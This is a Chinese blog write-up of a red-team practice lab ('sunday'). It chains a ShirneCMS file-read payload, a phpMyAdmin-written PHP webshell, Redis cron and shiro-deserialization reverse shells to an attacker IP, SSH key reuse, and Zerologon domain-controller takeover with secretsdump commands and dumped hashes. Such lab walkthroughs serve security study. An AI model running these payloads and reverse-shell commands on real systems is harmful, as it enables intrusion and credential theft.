【红队靶场】暗月五月考核靶场sunday

红队靶场


🎉B站配套视频:【顺手挂个三连呗】

https://www.bilibili.com/video/BV1xu4y1Z71y/?share_source=copy_web&vd_source=0e30e09a4adf6f81c3038fa266588eff

🔥系列专栏:红队靶场
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2023年6月3日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!


前言

本文章仅用作实验学习,仅使用kali虚拟机作为操作学习工具。本文仅用作学习记录,不做任何导向。请勿在现实环境中模仿,操作。


服务探测

端口扫描
masscan 192.168.10.174 --ports 0-10000

在这里插入图片描述
就开了两个端口

标题显现出shirnecms
在这里插入图片描述
谷歌搜一下shirnecms
发现是个开源的后台框架、
并且f12版本可能是4.3.1
在这里插入图片描述
然后在github找一下这个框架
在这里插入图片描述
点开发现最新版是1.2.2,这就说明我们找错了
那就接着找
在这里插入图片描述根据年代开始找
在这里插入图片描述但是github第一个发布版本就是2019年的
所以先不考虑源码获取
在这里插入图片描述
接着搜一下有没有洞

在这里插入图片描述

看到是有的,所以看一下
然后针对漏洞编号进行查找
找到如下payload

在这里插入图片描述

http://localhost/static/ueditor/php/controller.php?
action=proxy&remote=php://filter/convert.base64-encode|convert.base64-
encode|convert.base64-encode|convert.base64-encode|convert.base64-
encode|convert.base64-encode/resource=config.json&maxwidth=-1&referer=test

直接发包
应该是有东西
但是很复杂,看不懂,翻一翻

在这里插入图片描述发现这里有个png

在这里插入图片描述但是还是看不懂,编码转换也看不懂

但是我找到了这个
https://twitter.com/yibudengtian1
在这里插入图片描述可以读取passwd
我尝试一下
在这里插入图片描述这下就OK了,bp自动识别出来了
那么这就相当于一个本地文件包含
如果我能有个马,或者phpinfo就可以达成RCE

并且因为这个时候我盲目的尝试我唯一找到的exp成功,由此我知道了版本是1.2.0
在这里插入图片描述那么我现在把源码下载下来看一看

发现源码的数据库配置文件存在泄露
那么我现在就要读取一下

在这里插入图片描述众所周知,linux网站根目录通常在如下的地方
在这里插入图片描述
所以我先按照这个路径去进行尝试访问
在这里插入图片描述
成功得到数据库的账号密码

用户名 root 、密码vVICDU1Erw、数据库名cms

但是数据库没有开放外网端口
但是我会尝试ssh密码复用
尝试登录一下
在这里插入图片描述
但是不对
接下来我会找网站后台,再次尝试复用

目录爆破

在这里插入图片描述发现了phpmyadmin
还有一个uploads
还有一个admin
我们访问一下
在这里插入图片描述只有admin以及phpmyadmin可以访问,其他的都不能访问
并且phpmyadmin账号密码复用成功

在这里插入图片描述

尝试直接写shell
但是显示没权限
那我就只能看看我能不能创建管理员用户或者查询一些信息

在这里插入图片描述
因为左边就有数据库结构,所以我们开始翻
在这里插入图片描述找到了网站后台
的管理员用户的东西

在这里插入图片描述

加了盐,但是也可以放到somd5看看
果不其然没有
那就找他的加盐规则然后写进去一个用户就好
接下来翻一下加盐规则

在这里插入图片描述可以看到调用了一个encode_password
然后再跟一下encode_password
关注一下return,看处理过会返回什么
在这里插入图片描述找到了
md5加密
那么我们现在随便给一个密码然后加个盐,然后更新到数据库里

首先我自己生成了一个

import hashlib
password = 'admin'
salt = 'QVfSkGQY'
# 将密码和盐值拼接
salted_password = password + salt
# 使用md5算法对拼接后的字符串进行哈希运算
hashed_password = hashlib.md5(salted_password.encode()).hexdigest()
print(hashed_password)

结果发现不对,我觉得应该是需要我用他自己的源码去生成
在这里插入图片描述

那就重新写
但是我先不考虑这种
因为还得搭建,我很懒

<?php
include ('application/common.php');
$salt=random_str(8); //这是因为全局搜索发现盐是一个随机的8为字符
$password = '!@#123QWEqwe';
$newpassword = encode_password ($password, $salt);
echo $newpass . "\n" ; echo $salt;
?>

所以我们要找,哪里定义了这个函数
在这里插入图片描述发现是在common.php
那我们有两个方式,第一个是吧这个函数的逻辑用我们的方法构建出来
第二个是那我们就包含他,然后调用这个函数

接下来我们简单的放一下,就放在src目录下
因为这里是我们的网站路径,我们可以访问到
并且phpstduy搭建一下就行
不会得看我视频

在这里插入图片描述

他这个加密呢就是

使用给定的加密规则,将密码"admin123"和盐值"QVfSkGQY"连接起来,然后分别进行两次MD5哈希处理,最终得到密码的加密结果。

第一步,计算md5("admin123"),得到 "21232f297a57a5a743894a0e4a801fc3"。

第二步,将上述结果与盐值"QVfSkGQY"连接起来,得到 "21232f297a57a5a743894a0e4a801fc3QVfSkGQY"。

第三步,再次进行MD5哈希处理,得到 "7c1b35ec29fd90cda85923b94e2b1cf4"。这就是加密后的结果。

因此,使用给定的加密规则,将"admin123"和盐值"QVfSkGQY"加密后得到的结果为 "7c1b35ec29fd90cda85923b94e2b1cf4"

但是手工修改也错了
那我就再写一个php

function encode_password($pass, $salt = '') {
    return md5(md5($pass) . $salt);
}

// 随机生成一个八位数字符串作为 salt 值
$salt = substr(str_shuffle('0123456789'), 0, 8);

$password = 'admin123@@';
$encoded_password = encode_password($password, $salt);

echo "原始密码:{$password}\n";
echo "加密后的密码:{$encoded_password}\n";
echo "salt 值:{$salt}\n";

还是错的
最后还是选择了最麻烦的本地搭建源码而后利用文件包含去调用函数
也就是这一种

<?php
include ('application/common.php');
$salt=random_str(8); //这是因为全局搜索发现盐是一个随机的8为字符
$password = '!@#123QWEqwe';
$newpassword = encode_password ($password, $salt);
echo $newpass . "\n" ; echo $salt;
?>

在这里插入图片描述
最终输出了md5以及salt

修改进去
在这里插入图片描述最终成功登陆了
在这里插入图片描述
在后台转的时候看到了模板二字,让我想到了wordpress可以利用模版getshell,那么我会寻找一下哪里可以自定义模版或者修改模版
在这里插入图片描述紧接着我发现在这里可以修改模版,并且可以进行调用模版,那么我就用phpinfo来在tmp目录写个名为那个模版文件的马,然后我新建文章包含这个模版,然后进应该可以达成getshell

让我们回到phpimyadmin
在这里插入图片描述直接在这里
执行如下
我的笔记里也有,但是好像现在看不了了
在这里插入图片描述多种方法可以自行尝试
这里我进行一句话的直接写入
日志写入应该也可以

select '<?php @eval($_POST[pass]);?>' into outfile '/tmp/view.tpl' 

在这里插入图片描述我这里为了方便就去机器里看一眼
在这里插入图片描述好的非常棒
那么接下来我就要整一个文章来包含这个带着马的模版
然后文章的地址我们可以访问,那么也就是我们的马儿可以访问

这里我为了先验证一下能否成功换了一个phpinfo,并且实际验证写入到view.tpl才会生效
但是这里实际只能写入一次
因为想要覆写权限不够的
并且在制作模板的时候一定要选
是独立模版,如图
在这里插入图片描述
那么成功了,我们修改成一句话就可以拿shell
这个就不说了

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
发现是一个单网段机器,所以我们只能先试图横向,找到一台多网卡机器

内网横向

结合我之前在群里和大家吹牛逼说的
fscan无脑上

https://github.com/shadow1ng/fscan/releases/tag/1.8.2

chmod +x fscan_amd64
./fscan_amd64 -h 192.168.10.0/24
[+] Redis:192.168.10.175:6379 abc123 file:/var/lib/redis/dump.rdb
[+] Redis:192.168.10.175:6379 like can write /var/spool/cron/

在这里插入图片描述
无密码
接下来开始写公钥
在这里插入图片描述
并且也能写
并且我蛮看到他能写的地方是
like can write /var/spool/cron/
这个文件夹是计划任务的地方,非常明显
那么我就简单写一个计划任务

set shell "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.10.129/9999 0>&1\n\n"
ye
config set dir /var/spool/cron/

config set dbfilename root

save

但是写不了
有可能是权限的问题
那我接着尝试写ssh

在这里插入图片描述config set dir /root/.ssh/

但是这一块你可以尝试一下写别的用户,如果你能猜到

ssh也写不了

在这里插入图片描述

利用shiro+redis反弹shell

这一块我问了人,后期准备自己搭建复现一下,挺有意思

https://mp.weixin.qq.com/s?__biz=MzU2NTExMDQxOQ==&amp;mid=2247483934&amp;idx=1&amp;sn=aa20df31b6dea473ed72cfb90d50a752
以及
http://www.hackdig.com/10/hack-803659.htm

会单独出一个文章去浮现这个问题
这里先一笔带过

首先
我们需要一个exp

无论如何先保存下来,如果出现可以直接使用
原理一时半会讲不明白
python3.7可以成功
需要安装模块pyyso

import pyyso
import redis
redis_conn=redis.StrictRedis(host='192.168.10.175', port=6379,password="abc123")
whatever=b"test1"
key=b"shiro:session:"+whatever
value=pyyso.cb1v192("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjEyOS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}")
redis_conn.set(key,value)
print("yes")


//YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjEyOS84ODg4IDA+JjE=是bash -i >& /dev/tcp/192.168.10.129/8888 0>&1需要修改后自己base64编码

而后python3.7 exp.py
而后nc -nvlp 8888

可以连接查看一下
有没有东西

在这里插入图片描述这个时候redis中存在了test1的session
而后我们登陆抓包,在cookie部分修改jsessionid为test1

在这里插入图片描述

而后获得shell
同样是单网卡
那就进行一下配置文件什么的查询

在这里插入图片描述在/home/web目录下发现.ssh
在这里插入图片描述并且有私钥,我们复制下来到本地尝试去登陆
开放端口的机器有

192.168.10.175:22 open
192.168.10.174:22 open
192.168.10.172:22 open

我们依次尝试就行

在这里插入图片描述

ssh登录

最后在这里登陆上了

ssh -T -i id_rsa root@192.168.10.172 /bin/bash

在这里插入图片描述并且这台机器可以跨网段

在这里插入图片描述
那我们就可以用fscan扫,或者直接做个代理出来

chmod +x fscan_amd64
./fscan_amd64 -h 10.10.10.0/24

10段存活另外两台主机

(icmp) Target 10.10.10.137    is alive
(icmp) Target 10.10.10.133    is alive

开放端口如下

10.10.10.133:88 open
10.10.10.133:135 open
10.10.10.133:445 open
10.10.10.133:139 open

10.10.10.137:81 open
10.10.10.137:80 open
10.10.10.137:8099 open
10.10.10.137:135 open
10.10.10.137:8172 open
10.10.10.137:808 open
10.10.10.137:445 open
10.10.10.137:443 open
10.10.10.137:139 open

同时还扫到了洞

[*]10.10.10.133
   [->]ad2012
   [->]10.10.10.133
[*] 10.10.10.133  (Windows Server 2012 R2 Standard 9600)
[*] NetBios: 10.10.10.137    exchange.sunday.club                Windows Server 2012 R2 Standard 9600 
[*] NetInfo:
[*]10.10.10.137
   [->]exchange
   [->]10.10.10.137

通过这里我们知道了域控是10.10.10.133 2012 R2
137是一个exchange 2012 R2
title如下

[*] WebTitle: https://10.10.10.137      code:301 len:0      title:None 跳转url: https://10.10.10.137/owa/
[*] WebTitle: http://10.10.10.137       code:403 len:1157   title:403 - 禁止访问: 访问被拒绝。
[*] WebTitle: https://10.10.10.137/owa/auth/logon.aspx?url=https%3a%2f%2f10.10.10.137%2fowa%2f&reason=0 code:200 len:28269  title:Outlook Web App
[*] WebTitle: http://10.10.10.137:81    code:403 len:1157   title:403 - 禁止访问: 访问被拒绝。

代理访问盲打域控

打域控一般来说盲打用的比较多,CS里面插件都有很多集成
可以方便地利用
当然你也可以手搓
有很多py脚本

服务端
./linux_x64_admin -l 192.168.125.134:8000 -s 123

客户端
chmod +x linux_x86_agent
./linux_x86_agent -c 192.168.10.129:8000 -s 123 --reconnect 8


然后回到服务端
use 0 
socks 7777
就可以打开

在这里插入图片描述
既然能看到域控,那就盲打,盲打一些高危洞
尝试之后zerologon可以

zerologon

这一块我笔记里有

1. 工具下载
https://github.com/SecuraBV/CVE-2020-1472/blob/master/zerologon_tester.py //探测
https://github.com/dirkjanm/CVE-2020-1472 //利用

2. 检测漏洞
proxychains4 python3 zerologon_tester.py ad2012 10.10.10.133
 #这里需要两个参数 域控名 和 域控IP

3. 获取hash
proxychains4 python3 /usr/share/doc/python3-impacket/examples/secretsdump.py sunday.club/ad2012\$@10.10.10.133 -no-pass #同样是域控名 和域控IP

 
4. 或者登陆
proxychains4 python3  /usr/share/doc/python3-impacket/examples/wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:7e6f1603cd213e33e7734613258caffe sunday.club/administrator@10.10.10.133

5. 转储原来的hash
reg save HKLM\SYSTEM system.save 
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
del /f system.save
del /f sam.save
del /f security.save
exit

6. 提取域控原本hash
python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

7. 恢复hash
python3 reinstall_original_pw.py ad01 10.10.10.137 上面的hash8. 再次hashdump,达到权限维持的效果
python3 secretsdump.py ad01.redteam.club/administrator@10.10.10.137 -hashes :747f92f9bf20a4fc930afc4dadf53bdc

9. 扩大攻击面
恢复之后,同样可以看到krbtgt这个账号的hash,可以利用它生成黄金票据来进行权限维持。

在这里插入图片描述
然后接着一步步利用

在这里插入图片描述
在这里插入图片描述
成功
接下来直接登陆就行

sunday.club\Administrator:500:aad3b435b51404eeaad3b435b51404ee:7e6f1603cd213e33e7734613258caffe:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:b2f8cf489b0f9961dbe45d8b51bf4163:::

在这里插入图片描述
那后就拿到了域控的管理员用户

在这里插入图片描述
ip确实是DC
到这就结束了
剩下一个exchange没必要打了,DC都拿了
如果要打的话
CVE-2021-26855组合CVE-2021-27065
可以RCE
我没试

  • 3
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
ATT&CK红队评估实战靶场四是一个实战训练场景,其中使用了phpmyadmin来利用数据库日志写入马来获取会话。具体的方法和之前的红日靶场一类似,你可以去查看相关链接了解更多细节。在攻击机要访问52网段的资源时,可以使用session 4作为下一跳进行路由设置。可以通过routeprint命令查看路由表,并使用routeadd命令添加相应的路由。此外,可以通过将SSH公钥添加到/home/ubuntu/.ssh/authorized_keys文件来实现免密登录到目标机器。具体命令是将SSH公钥追加到该文件中。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [ATT&CK红队评估(红日靶场四)](https://blog.csdn.net/weixin_45682839/article/details/124485070)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 50%"] - *2* [ATT&CK红队评估实战靶场-1(全网最细)](https://blog.csdn.net/qq_40638006/article/details/122033546)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

人间体佐菲

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值